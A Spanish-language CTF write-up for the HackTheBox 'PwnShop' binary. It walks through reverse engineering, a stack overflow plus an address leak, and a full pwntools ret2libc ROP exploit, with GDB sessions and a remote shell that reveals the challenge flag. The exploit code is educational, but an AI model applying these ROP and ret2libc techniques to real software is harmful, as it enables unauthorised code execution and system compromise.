PwnShop
14 minutos de lectura
Se nos proporciona un binario de 64 bits llamado pwnshop
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar el código fuente descompilado en C:
undefined[16] main() {
int option_char;
ulong in_RCX;
char option;
setup();
puts("========= HTB PwnShop ===========");
while (true) {
while (true) {
puts("What do you wanna do?");
printf("1> Buy\n2> Sell\n3> Exit\n> ");
option_char = getchar();
getchar();
option = (char) option_char;
if (option != '2') break;
sell();
}
if (option == '3') break;
if (option == '1') {
buy();
} else {
puts("Please try again.");
}
}
return ZEXT816(in_RCX) << 0x40;
}
La primera opción es buy
:
void buy() {
char details[72];
puts("Sorry, we aren\'t selling right now.");
printf("But you can place a request. \nEnter details: ");
read(0, details, 80);
}
Y esta es la segunda opción, sell
:
void sell() {
int res;
long i;
byte zero;
char item[32];
char price[8];
char *details;
undefined4 *pointer;
zero = 0;
details = details_global;
printf("What do you wish to sell? ");
price = (char[8]) 0x0;
pointer = (undefined4 *) item;
for (i = 8; i != 0; i--) {
*pointer = 0;
pointer = pointer + (ulong) zero * -2 + 1;
}
read(0, item, 31);
printf("How much do you want for it? ");
read(0, price, 8);
res = strcmp(price, "13.37\n");
if (res == 0) {
puts("Sounds good. Leave details here so I can ask my guy to take a look.");
pointer = (undefined4 *) details;
for (i = 16; i != 0; i--) {
*pointer = 0;
pointer = pointer + (ulong) zero * -2 + 1;
}
read(0, details, 64);
} else {
printf("What? %s? The best I can do is 13.37$\n", price);
}
}
Aquí tenemos la oportunidad de escribir datos en details_global
(una variable global). Para esto, tenemos que introducir "13.37\n"
como price
. Además, si price
no es "13.37\n"
, se mostrará como salida.
Vulnerabilidad de Buffer Overflow
El binario es vulnerable a Buffer Overflow en buy
porque la variable llamada data
tiene 72 bytes asignados como buffer, pero el programa lee hasta 80 bytes de stdin
y los guarda en data
, sobrepasando el tamaño del buffer reservado si la longitud de los datos de entrada es mayor que 72 bytes.
Debido a que tenemos un binario de 64 bits sin canario, después del buffer reservado de 72 bytes, se encuentra el valor guardado de $rbp
, y justo después, la dirección de memoria guardada. Afortunadamente, esta vez no hay valor de $rbp
, por lo que estamos sobrescribiendo la dirección de retorno. Podemos verlo en el código ensamblador:
$ objdump -M intel -j .text -d pwnshop
pwnshop: file format elf64-x86-64
Disassembly of section .text:
00000000000010a0 <.text>:
10a0: 55 push rbp
10a1: 31 c0 xor eax,eax
10a3: 48 8d 2d 79 10 00 00 lea rbp,[rip+0x1079] # 2123 <setvbuf@plt+0x1093>
...
132a: 48 83 ec 48 sub rsp,0x48
132e: 48 8d 3d 7a 0d 00 00 lea rdi,[rip+0xd7a] # 20af <setvbuf@plt+0x101f>
1335: e8 f6 fc ff ff call 1030 <puts@plt>
133a: 48 8d 3d 92 0d 00 00 lea rdi,[rip+0xd92] # 20d3 <setvbuf@plt+0x1043>
1341: 31 c0 xor eax,eax
1343: e8 f8 fc ff ff call 1040 <printf@plt>
1348: 48 89 e6 mov rsi,rsp
134b: ba 50 00 00 00 mov edx,0x50
1350: 31 ff xor edi,edi
1352: e8 09 fd ff ff call 1060 <read@plt>
1357: 48 83 c4 48 add rsp,0x48
135b: c3 ret
...
13c5: 66 66 2e 0f 1f 84 00 data16 nop WORD PTR cs:[rax+rax*1+0x0]
13cc: 00 00 00 00
13d0: f3 0f 1e fa endbr64
13d4: c3 ret
Aquí hay sub rsp, 0x48
, luego el programa lee hasta 0x50
bytes, y al final revierte el stack con add rsp,0x48
. Como no hay instrucción leave; ret
, $rbp
no se tiene en cuenta, solo la dirección de retorno.
Estrategia de explotación
Como el binario tiene protección NX, tenemos que utilizar Return Oriented Programming (ROP) para ejecutar código arbitrario. Esta técnica hace uso de gadgets, que son conjuntos de intrucciones que terminan en ret
(normalmente). Podemos añadir una lista de direcciones de gadgets en la pila para que cuando un gadget se ejecute, vuelva a la pila y se ejecute el siguiente gadget. De ahí el nombre de ROP chain.
Esto es un bypass de la protección NX, ya que no estamos ejecutando instrucciones en la pila (shellcode), sino que estamos redirigiendo el programa a direcciones específicas que son ejecutables y que contienen las instrucciones que queremos.
Para conseguir ejecución de comandos, usaremos un ataque ret2libc. Esta técnica consiste en llamar a system
en Glibc usando "/bin/sh"
como primer argumento a la función (que también se encuentra en Glibc). El problema que tenemos que solucionar es ASLR, que es una protección habilitada en librerías compartidas para aleatorizar una dirección base.
Como tenemos que llamar a system
y usar "/bin/sh"
, tenemos que saber las direcciones de dichos valores en Glibc en tiempo de ejecución (estas direcciones serán diferentes en cada ejecución). Por tanto, tenemos que encontrar una manera de fugar una dirección de Glibc porque lo único que es aleatorio es la dirección base de Glibc; el resto de las direcciones se calculan mediante offsets a dicha dirección base.
Como el binario tiene PIE habilitado, necesitamos fugar una dirección del binario en tiempo de ejecución y calcular la dirección base usando offsets.
El proceso de fuga de una función involucra llamar a puts
con una dirección de la Tabla de Offsets Globales (Global Offset Table, GOT) como primer argumento (por ejemplo, setvbuf
). Esta tabla contiene las direcciones reales de las funciones externas usadas por el programa (si han sido resueltas previamente). Como puts
se utiliza en el binario, para llamarla, solamente tenemos que usar la Tabla de Enlaces a Procedimentos (Procedure Linkage Table, PLT), que aplica un salto a la dirección real de puts
.
Otra consideración es el uso de gadgets. Debido a la convención de llamadas a funciones en binarios de 64 bits, los argumentos de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Por ejemplo, la instrucción pop rdi
tomará el siguiente valor de la pila lo lo guardará en $rdi
.
Desarrollo del exploit
Perfecto, vamos a empezar con el proceso de fuga. En primer lugar tenemos que encontrar una dirección del binario. Lo mejor es usar GDB y mirar a la variable price
antes de escribirla:
$ gdb -q pwnshop
Reading symbols from pwnshop...
(No debugging symbols found in pwnshop)
gef➤ run
Starting program: ./pwnshop
========= HTB PwnShop ===========
What do you wanna do?
1> Buy
2> Sell
3> Exit
> 2
What do you wish to sell? asdf
How much do you want for it? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ecafd2 in __GI___libc_read (fd=0x0, buf=0x7fffffffe640, nbytes=0x8) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
La dirección de item
está en $rsi
(el segundo parámetro de read
):
gef➤ grep asdf
[+] Searching 'asdf' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffe620 - 0x7fffffffe626 → "asdf\n"
gef➤ x/20gx 0x7fffffffe620
0x7fffffffe620: 0x0000000a66647361 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x0000000000000000 0x00005555555580c0
0x7fffffffe650: 0x0000000000000032 0x0000000000000032
0x7fffffffe660: 0x0000555555556123 0x00005555555550fe
0x7fffffffe670: 0x0000555555555360 0x0000555555555360
0x7fffffffe680: 0x0000000000000000 0x00007ffff7de1083
0x7fffffffe690: 0x00007ffff7ffc620 0x00007fffffffe778
0x7fffffffe6a0: 0x0000000100000000 0x00005555555550a0
0x7fffffffe6b0: 0x0000555555555360 0x4f8b73ff7c1dbc64
Bypass de PIE
Nótese que 0x00005555555580c0
es una dirección del binario (de hecho, la dirección de details_global
). También, price
estará 8 bytes antes que esa dirección. Por tanto, si introducimos exactamente 8 bytes, el programa mostrará el precio y la dirección será fugada porque las strings en C terminan en byte nulo, pero ya no hay byte nulo:
gef➤ ni
AAAAAAAA
0x00007ffff7ecafd2 26 in ../sysdeps/unix/sysv/linux/read.c
gef➤ x/20gx 0x7fffffffe620
0x7fffffffe620: 0x0000000a66647361 0x0000000000000000
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x4141414141414141 0x00005555555580c0
0x7fffffffe650: 0x0000000000000032 0x0000000000000032
0x7fffffffe660: 0x0000555555556123 0x00005555555550fe
0x7fffffffe670: 0x0000555555555360 0x0000555555555360
0x7fffffffe680: 0x0000000000000000 0x00007ffff7de1083
0x7fffffffe690: 0x00007ffff7ffc620 0x00007fffffffe778
0x7fffffffe6a0: 0x0000000100000000 0x00005555555550a0
0x7fffffffe6b0: 0x0000555555555360 0xc4df5b54e114ad2c
gef➤ continue
Continuing.
What? AAAAAAAAUUUU? The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
>
Vamos a comenzar con este script en Python para capturar la fuga de memoria:
#!/usr/bin/env python3
from pwn import *
context.binary = 'pwnshop'
def get_process():
if len(sys.argv) == 1:
return context.binary.process()
host, port = sys.argv[1].split(':')
return remote(host, int(port))
def main():
p = get_process()
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'What do you wish to sell? ', b'asdf')
p.sendafter(b'How much do you want for it? ', b'A' * 8)
p.recvuntil(b'? ')
details_global_addr = u64(p.recvuntil(b'?')[8:-1].ljust(8, b'\0'))
log.info(f'Leaked an ELF address: {hex(details_global_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1152256
[*] Leaked an ELF address: 0x55b344cf90c0
[*] Switching to interactive mode
The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
> $
Genial, ahora podemos volver a GDB para encontrar el offset a la dirección base del binario:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00555555554000 0x00555555555000 0x00000000000000 r-- ./pwnshop
0x00555555555000 0x00555555556000 0x00000000001000 r-x ./pwnshop
0x00555555556000 0x00555555557000 0x00000000002000 r-- ./pwnshop
0x00555555557000 0x00555555558000 0x00000000002000 r-- ./pwnshop
0x00555555558000 0x00555555559000 0x00000000003000 rw- ./pwnshop
0x007ffff7dbd000 0x007ffff7ddf000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7ddf000 0x007ffff7f57000 0x00000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7f57000 0x007ffff7fa5000 0x0000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa5000 0x007ffff7fa9000 0x000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fa9000 0x007ffff7fab000 0x000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x007ffff7fab000 0x007ffff7fb1000 0x00000000000000 rw-
0x007ffff7fc9000 0x007ffff7fcd000 0x00000000000000 r-- [vvar]
0x007ffff7fcd000 0x007ffff7fcf000 0x00000000000000 r-x [vdso]
0x007ffff7fcf000 0x007ffff7fd0000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7fd0000 0x007ffff7ff3000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ff3000 0x007ffff7ffb000 0x00000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffc000 0x007ffff7ffd000 0x0000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffd000 0x007ffff7ffe000 0x0000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x007ffff7ffe000 0x007ffff7fff000 0x00000000000000 rw-
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x00000000000000 --x [vsyscall]
gef➤ p/x 0x00005555555580c0 - 0x00555555554000
$1 = 0x40c0
Vale, usando estas líneas tenemos la dirección base:
elf_addr = details_global_addr - 0x40c0
log.success(f'ELF base address: {hex(elf_addr)}')
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1155249
[*] Leaked an ELF address: 0x55e1931b10c0
[+] ELF base address: 0x55e1931ad000
[*] Switching to interactive mode
The best I can do is 13.37$
What do you wanna do?
1> Buy
2> Sell
3> Exit
> $
Como comprobación, podemos verificar que la dirección base termina en 000
en hexadecimal.
Diseñando la ROP chain
En este punto, hay que continuar con una cadena ROP para fugar direcciones de Glibc (como se explicó anteriormente).
Aunque podemos sobrescribir la dirección de retorno y controlar el flujo de ejecución del programa, no tenemos suficiente espacio para almacenar una cadena ROP en la pila. Sin embargo, podemos tratar de modificar el registro $rsp
para conseguir más espacio. Estos son los gadgets involucrados:
$ ROPgadget --binary pwnshop | grep rsp
0x0000000000001323 : add rsp, 0x38 ; pop rbx ; pop rbp ; ret
0x0000000000001357 : add rsp, 0x48 ; ret
0x0000000000001016 : add rsp, 8 ; ret
0x00000000000013db : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000000013bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x00000000000013dd : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000001219 : sub rsp, 0x28 ; ret
0x00000000000013dc : sub rsp, 8 ; add rsp, 8 ; ret
No hay manera sencilla de pivotar la pila, pero hay un gadget curioso: sub rsp, 0x28; ret
. De hecho, controlamos 0x50
bytes de la pila. Para encontrar dónde poner las direcciones, vamos a poner valores reconocibles para verlos en GDB:
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'What do you wish to sell? ', b'asdf')
p.sendafter(b'How much do you want for it? ', b'A' * 8)
p.recvuntil(b'? ')
details_global_addr = u64(p.recvuntil(b'?')[8:-1].ljust(8, b'\0'))
log.info(f'Leaked details_global address: {hex(details_global_addr)}')
elf_addr = details_global_addr - 0x40c0
log.success(f'ELF base address: {hex(elf_addr)}')
sub_rsp_0x28_ret = elf_addr + 0x1219
payload = b''
c = ord('A')
while len(payload) != 72:
payload += bytes([c] * 8)
c += 1
payload += p64(sub_rsp_0x28_ret)
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter details: ', payload)
p.interactive()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1210228
[*] running in new terminal: ['/usr/bin/gdb', '-q', './pwnshop', '1210228', '-x', '/tmp/pwneb4m3_hv.gdb']
[+] Waiting for debugger: Done
[*] Leaked details_global address: 0x5556e442a0c0
[+] ELF base address: 0x5556e4426000
[*] Switching to interactive mode
$
El programa se rompe, pero tenemos la pila así:
gef➤ x/8gx $rsp
0x7fffa5ba1548: 0x4646464646464646 0x4747474747474747
0x7fffa5ba1558: 0x4848484848484848 0x4949494949494949
0x7fffa5ba1568: 0x00005556e4427219 0x00005556e4427360
0x7fffa5ba1578: 0x00005556e4427360 0x0000000000000000
Por tanto, tenemos 4 huecos para poner gadgets. Vamos a diseñar la cadena ROP para fugar direcciones de Glibc usando la GOT y la PLT (como habitualmente). Estos son los offsets necesarios:
- Offset del gadget
pop rdi; ret
(0x13c3
):
$ ROPgadget --binary pwnshop | grep 'pop rdi'
0x00000000000013c3 : pop rdi ; ret
- Offset de
setvbuf
en la GOT (0x4038
):
$ objdump -M intel -R pwnshop | grep setvbuf
0000000000004048 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
- Offset de
puts
en la PLT (0x1030
):
$ objdump -M intel -d pwnshop | grep '<puts@plt>:'
0000000000001030 <puts@plt>:
- Recordemos que
buy
aparece en el offset0x132a
Fugando direcciones de memoria
Entonces, tenemos este payload:
sub_rsp_0x28_ret = elf_addr + 0x1219
pop_rdi_ret = elf_addr + 0x13c3
setvbuf_got_addr = elf_addr + 0x4048
puts_plt_addr = elf_addr + 0x1030
buy_addr = elf_addr + 0x132a
payload = b'A' * 8 * 5
payload += p64(pop_rdi_ret)
payload += p64(setvbuf_got_addr)
payload += p64(puts_plt_addr)
payload += p64(buy_addr)
payload += p64(sub_rsp_0x28_ret)
p.sendlineafter(b'> ', b'1')
p.sendafter(b'Enter details: ', payload)
p.interactive()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1287589
[*] Leaked details_global address: 0x56069695a0c0
[+] ELF base address: 0x560696956000
[*] Switching to interactive mode
\xe0<\xc7̛\x7f
Sorry, we aren't selling right now.
But you can place a request.
Enter details: $
Y ahí está la fuga de memoria. Vamos a cogerlo para encontrar la dirección base de Glibc y así burlar ASLR:
$ ldd pwnshop
linux-vdso.so.1 (0x00007ffe2cd77000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f1fdc075000)
/lib64/ld-linux-x86-64.so.2 (0x00007f1fdc281000)
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep setvbuf
442: 0000000000084ce0 583 FUNC GLOBAL DEFAULT 15 _IO_setvbuf@@GLIBC_2.2.5
1988: 0000000000084ce0 583 FUNC WEAK DEFAULT 15 setvbuf@@GLIBC_2.2.5
setvbuf_addr = u64(p.recvline().strip().ljust(8, b'\0'))
log.info(f'Leaked setvbuf() address: {hex(setvbuf_addr)}')
setvbuf_offset = 0x84ce0
glibc_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_addr)}')
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1288432
[*] Leaked details_global address: 0x561736fb40c0
[+] ELF base address: 0x561736fb0000
[*] Leaked setvbuf() address: 0x7f934a07bce0
[+] Glibc base address: 0x7f9349ff7000
[*] Switching to interactive mode
Sorry, we aren't selling right now.
But you can place a request.
Enter details: $
Ya está. De nuevo, podemos ver que la dirección base termina en 000
en hexadecimal.
Vamos a coger todos los offsets necesaios para continuar con un ataque ret2libc (nótese que estamos resolviendo el reto en local):
- Offset de
system
(0x52290
):
$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system
237: 0000000000153ae0 103 FUNC GLOBAL DEFAULT 15 svcerr_systemerr@@GLIBC_2.2.5
619: 0000000000052290 45 FUNC GLOBAL DEFAULT 15 __libc_system@@GLIBC_PRIVATE
1430: 0000000000052290 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
- Offset de
"/bin/sh"
(0x1b45bd
):
$ strings -atx /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
1b45bd /bin/sh
Obteniendo RCE
Luego, calculamos las direcciones reales de system
y "/bin/sh"
en tiempo de ejecución y terminamos el exploit:
setvbuf_offset = 0x84ce0
system_offset = 0x52290
bin_sh_offset = 0x1b45bd
glibc_addr = setvbuf_addr - setvbuf_offset
log.success(f'Glibc base address: {hex(glibc_addr)}')
system_addr = glibc_addr + system_offset
bin_sh_addr = glibc_addr + bin_sh_offset
payload = b'A' * 8 * 5
payload += p64(pop_rdi_ret)
payload += p64(bin_sh_addr)
payload += p64(pop_rdi_ret + 1)
payload += p64(system_addr)
payload += p64(sub_rsp_0x28_ret)
p.sendafter(b'Enter details: ', payload)
p.interactive()
Nótese el uso de pop_rdi_ret + 1
como gadget ret
para prevenir el problema del alineamiento de la pila (stack alignment) antes de llamar a system
. Ahora el exploit funciona en local:
$ python3 solve.py
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './pwnshop': pid 1299852
[*] Leaked details_global address: 0x55b12e8b30c0
[+] ELF base address: 0x55b12e8af000
[*] Leaked setvbuf() address: 0x7f03d716ace0
[+] Glibc base address: 0x7f03d70e6000
[*] Switching to interactive mode
$ ls
pwnshop solve.py
Vamos a probar en remoto:
$ python3 solve.py 134.122.111.164:30819
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.111.164 on port 30819: Done
[*] Leaked details_global address: 0x5569018770c0
[+] ELF base address: 0x556901873000
[*] Leaked setvbuf() address: 0x7f270d5cae80
[+] Glibc base address: 0x7f270d5461a0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
No conseguimos una shell porque la instancia remota tiene una versión de Glibc diferente. Una manera de conseguirla es buscar por los últimos tres dígitos en hexadecimal de una fuga de memoria (es decir, setvbuf
) en una página como libc.rip. Vemos algunas versiones de Glibc que se ajustan a la búsqueda y los offsets más útiles:
Afortunadamente, la versión que coincide con la que tiene la instancia remota es la primera.
Flag
Después de cambiar los valores de los offsets en el exploit podremos conseguir una shell finalmente:
$ python3 solve.py 134.122.111.164:30819
[*] './pwnshop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 134.122.111.164 on port 30819: Done
[*] Leaked details_global address: 0x563c175640c0
[+] ELF base address: 0x563c17560000
[*] Leaked strcmp() address: 0x7fdd05ae3e80
[+] Glibc base address: 0x7fdd05a74000
[*] Switching to interactive mode
$ ls
core
flag.txt
pwnshop
$ cat flag.txt
HTB{th1s_is_wh@t_I_c@ll_a_g00d_d3a1!}
El exploit completo se puede encontrar aquí: solve.py
.